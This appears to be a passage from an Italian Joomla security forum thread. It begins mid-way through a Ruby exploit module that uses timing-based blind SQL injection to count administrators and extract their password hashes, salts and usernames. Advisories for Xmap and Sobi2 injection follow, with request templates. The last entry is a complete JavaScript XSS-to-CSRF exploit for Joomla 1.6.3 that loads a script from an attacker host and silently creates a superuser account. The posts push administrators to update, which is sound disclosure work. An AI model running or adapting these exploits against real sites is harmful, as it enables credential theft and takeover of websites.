        # Delayed request median
        bmc1 = sql_benchmark("1=1", hdrs)

        # Verbose
        print_status("Delayed request avg: #{bmc1.to_s} seconds")

        # Benchmark totals
        bmct = bmc1 - datastore['BMC0']

        # Delay too small. The host may not be
        # vulnerable. Try increasing the BMCT.
        if ( bmct.to_i < datastore['BMDF'].to_i )

            # Verbose
            print_error("your benchmark threshold is small, or host is not vulnerable")
            print_error("increase the benchmark threshold adjust the value of the BMDF")
            print_error("increase the expression iterator adjust the value of the BMCT")
            return
        else
            # Host appears exploitable
            print_status("Request Difference: #{bmct.to_s} seconds")
        end

        #################################################
        # STEP 04 // Attempting to find a valid admin id
        #################################################
       
        atot = 0     # Total admins
        scnt = 0     # Step counter
        step = 10    # Step increment
        slim = 10000 # Step limit
       
        # 42 is the hard coded base uid within Joomla ...
        # ... and the answer to the ultimate question! ;]
        snum = ( !defined?(auid) ) ? 62: auid # changed from 42 to 62
       
        # Verbose
        print_status("Calculating total number of administrators")
       
        # Check how many admin accounts are in the database
        for i in 0..slim do

            # Benchmark
            bmcv = sql_benchmark_2(hdrs, "gid", "users", "gid=25+LIMIT+#{i.to_s},1",datastore['BMRC'])
           
            # If we do not have a delay, then we have reached the end ...
            if ( !( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) )

                # Range
                atot = i
               
                # Verbose
                print_status("Successfully confirmed #{atot.to_s} admin accounts")

                # Exit loop
                break
            end
        end
           
        # Loops until limit
        while ( snum < slim && scnt < atot )
   
            # Verbose
            print_status("Attempting to find a valid admin ID")
           
            # Verbose
            print_status("Stepping from #{snum.to_s} to #{slim.to_s} by #{step.to_s}")
   
            for i in snum.step(slim, step)
                bmcv = 0
               
   
                # Benchmark
                bmcv = sql_benchmark("#{i}+>+id", hdrs, "users","gid=25+LIMIT+#{scnt.to_s},1", datastore['BMRC'])

                # Noticable delay? We must have a match!
                if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
   
                    # Range
                    itmp = i
   
                    # Exit loop
                    break
                else
                   
                    # Out of time ..
                    if ( i == slim )
                   
                        # Failure
                        print_error("Unable to find a valid user id. Exploit failed!")
                        return
                    end
                   
                end
            end
   
            # Jump back by #{step} and increment by one
            for i in ( snum ).upto(( itmp ))
                bmcv = 0
                auid = 0

   
                # Benchmark
                bmcv = sql_benchmark("id+=+#{i}", hdrs, "users", "gid=25",
                datastore['BMRC'])
   
                # Noticable delay? We must have a match!
                if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
   
                    # UserID - first time auid gets set to 62
                    auid = i
   
                    # Verbose
                    print_status("Found a valid admin account uid : #{auid.to_s}")
                   
                    # Step Counter
                    scnt += 1
   
                    # Exit loop
                    break
                else
                   
                    # Out of time ..
                    if ( i == ( itmp + step ) )
                   
                        # Failure
                        print_error("Unable to find a valid user id. Exploit failed!")
                        return
                    end
                end
            end
           
            #################################################
            # These are the charsets used for the enumeration
            # operations and can be easily expanded if needed
            #################################################
   
            # Hash charset a-f0-9
            hdic = [ ('a'..'f'), ('0'..'9') ]
   
            # Salt charset a-zA-Z0-9
            sdic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
           
            # Username charset
            udic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
       
            #################################################
            # STEP 05 // Attempt to extract admin pass hash
            #################################################
   
            # Verbose
            print_status("Attempting to gather admin password hash")
           
            # Get pass hash - changed bs
            if ( auid != 0 && !( hash = get_users_data(
                            hdrs,             # Pass cookie value
                            1,                # Length Start
                            32,               # Length Maximum
                            hdic,             # Charset Array
                            "password",       # SQL Field name
                            "id=#{auid.to_s}" # SQL Where data
                            ) ) )
                           
                # Failure
                print_error("Unable to gather admin pass hash. Exploit failed!!")
                return
            end
            #################################################
            # STEP 06 // Attempt to extract admin pass salt
            #################################################
           
            # Verbose
            print_status("Attempting to gather admin password salt")
           
            # Get pass salt - changed bs
            if ( auid != 0 && !( salt = get_users_data(
                            hdrs,             # Pass cookie value
                            34,               # Length Start
                            65,               # Length Maximum
                            sdic,             # Charset Array
                            "password",       # SQL Field name
                            "id=#{auid.to_s}" # SQL Where data
                            ) ) )
                           
                # Failure
                print_error("Unable to gather admin pass salt. Exploit failed!!")
                return
            end

            #################################################
            # STEP 07 // Attempt to crack the extracted hash
            #################################################
   
            # Attempt to crack password hash - changed bs
            if ( auid != 0 )
                pass = get_password(hash, salt)
            end
   
            # Got pass? - changed bs
            if ( auid != 0 && pass )

                #################################################
                # STEP 08 // Attempt to extract admin username
                #################################################
               
                # Verbose
                print_status("Attempting to determine target username length")
               
                # Hard limit is 150
                for i in 1.upto(150)
       
                    # Benchmark
                    bmcv = sql_benchmark("LENGTH(username)=#{i.to_s}", hdrs,
                    "users", "id=#{auid.to_s}", datastore['BMRC'])
       
                    # Noticable delay? We must have a match!
                    if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
       
                        # Length
                        ulen = i
                       
                        # Verbose
                        print_status("The username is #{i.to_s} characters long")
       
                        # Exit loop
                        break
                    end
                end
       
                # Verbose
                print_status('Gathering admin username')
       
                # Get pass salt
                if ( !( user = get_users_data(
                                hdrs,            # Pass cookie value
                                1,               # Length Start
                                ulen,               # Length Maximum
                                udic,             # Charset Array
                                "username",       # SQL Field name
                                "id=#{auid.to_s}" # SQL Where data
                                ) ) )
                               
                    # Failure
                    print_error("Unable to gather admin user name. Exploit failed!!")
                    return
                end

          &nbs

18
Joomla Component Xmap version 1.2.11 SQL Injection Vulnerability

Codice: [Seleziona]
# Exploit Title: Xmap 1.2.11 Joomla Component Blind SQL Injection
# Date: 12 July 2011
# Author: jdc
# Software Link:
http://joomlacode.org/gf/project/xmap/frs/?action=FrsReleaseBrowse&frs_package_id=3882
# Version: 1.2.11
# Fixed In: 1.2.12
 
Versions prior to 1.2.12 suffer from a blind sql injection in the "view"
parameter, depending on Xmap's internal cache settings.
 
POSTDATA: option=com_xmap&tmpl=component&Itemid=999&view=[SQL]
 
1.2.12 has been patched. Older versions with cache=off cannot be
exploited in this fashion.

Lo sviluppatore ha rilasciato il 14 luglio una nuova versione del componente che corregge la vulnerabilità, si consiglia pertanto di procedere immediatamente con l'aggiornamento alla versione 1.2.12.

http://extensions.joomla.org/extensions/site-management/site-map/3066/details

19
Joomla Component Sobi2 version 2.9.3.2 SQL Injection Vulnerability

Codice: [Seleziona]
# Exploit Title: SOBI2 2.9.3.2 Joomla! Component Blind SQL Injections
 # Date: 13 July 2011
 # Author: jdc
 # Software Link: http://www.sigsiu.net
 # Version: 2.9.3.2
 # Fixed In: 2.9.4
 # Verified: http://www.sigsiu.net/changelog as "# Bugfix: Blind SQL
 injection"
 
 Versions prior to 2.9.4 suffer from a blind sql injection in both the
 "tag" and "letter" parameters. The request MUST reach
 the site with these parameters urlencoded for the injection to succeed.
 
 POSTDATA: option=com_sobi2&tmpl=component&tag=[Encoded SQL]
 
 POSTDATA: option=com_sobi2&tmpl=component&letter=[Encoded SQL]
 
 Updated release:
 http://www.sigsiu.net/latest_news/sobi2_version_2.9.4_released.html
 

Lo sviluppatore ha rilasciato una versione aggiornata 2.9.4, si consiglia di eseguire l'aggiornamento all'ultima versione quanto prima.

Il 14 luglio 2011 è stata rilasciata un'ulteriore versione correttiva 2.9.4.1, segue il changelog
Codice: [Seleziona]
2.9.4.1 (14 Jul 2011)
 # Bugfix: XSS Vulnerability in search function
 
2.9.4 (13 Jul 2011)
# Bugfix: Notices in Entry Manager if Status filter is set
 # Bugfix: Warnings if searchword with apostrophes
 # Bugfix: MySQL errors in fields manager if adding select list/chkbox group options with apostrophe or backslash if magic quotes off
 # Bugfix: Deselecting checkboxes while editing an entry
 # Bugfix: Wrong (or no) relation ordering with MySQL 5.5.x
 # Bugfix: Decimals and Currency for total amount in payment email
 # Bugfix: Blind SQL injection
 # Bugfix: Escaped character(s) in Meta Keywords/Tags
 # Bugfix: Missing catid after saving new entry
 # Bugfix: Sender of admin emails
 # Bugfix: Checkbox group as required field
 # Bugfix: Waysearch-URL not HTML valid

20
Sicurezza / Joomla 1.6.3 CSRF Exploit
« il: 07 Lug 2011, 15:44:56 »
Una vulnerabilità di tipo XSS - CSRF affligge Joomla 1.6.3, si raccomanda (a chi ancora non l'avesse fatto) di procedere con l'aggiornamento alla 1.6.4 rilasciata già a fine giugno.

Seguono i dettagli della vulnerabilità:
Codice: [Seleziona]
This vulnerability takes advantage of the recent Joomla 1.6.3 XSS
 vulnerability ( http://seclists.org/fulldisclosure/2011/Jun/519 ) to
 execute a CSRF vulnerability to create a superuser account.
 ï»¿
 /*
 joom163.js
 Joomla 1.6.3 XSS -> CSRF Exploit
 Greetz to Shardy, Xires & Stacy, Rage, coorslitedude, Nothingness, MaXe
 Coded By: Connection
 
 Vuln Link:
 index.php?option=com_contact&view=category&catid=26&id=36&Itemid=-1";'>"><s
 cript src=http://attacker.com/joom163.js></script>
 
 */
 document.writeln('<iframe id="iframe"
 src="http://victim.com/administrator/index.php?option=com_users&view=user&l
 ayout=edit" width="0" height="0" style="visibility:hidden;"
 onload="read()"></iframe>');
 
 function read()
 {
 var name="Test";
 var username="haxx";
 var password="test123";
 var email="fake _at_ gmail.com";
 
 document.getElementById("iframe").contentDocument.forms[0].jform_name.value
 = name;
 document.getElementById("iframe").contentDocument.forms[0].jform_username.v
 alue = username;
 document.getElementById("iframe").contentDocument.forms[0].jform_password.v
 alue = password;
 document.getElementById("iframe").contentDocument.forms[0].jform_password2.
 value = password;
 document.getElementById("iframe").contentDocument.forms[0].jform_email.valu
 e = email;
 document.getElementById("iframe").contentDocument.forms[0].getElementById("
 1group_8").checked=true;
 document.getElementById("iframe").contentDocument.getElementsByTagName("a")
 [11].onclick();
 }
 

Pagine: [1] 2 3

Torna su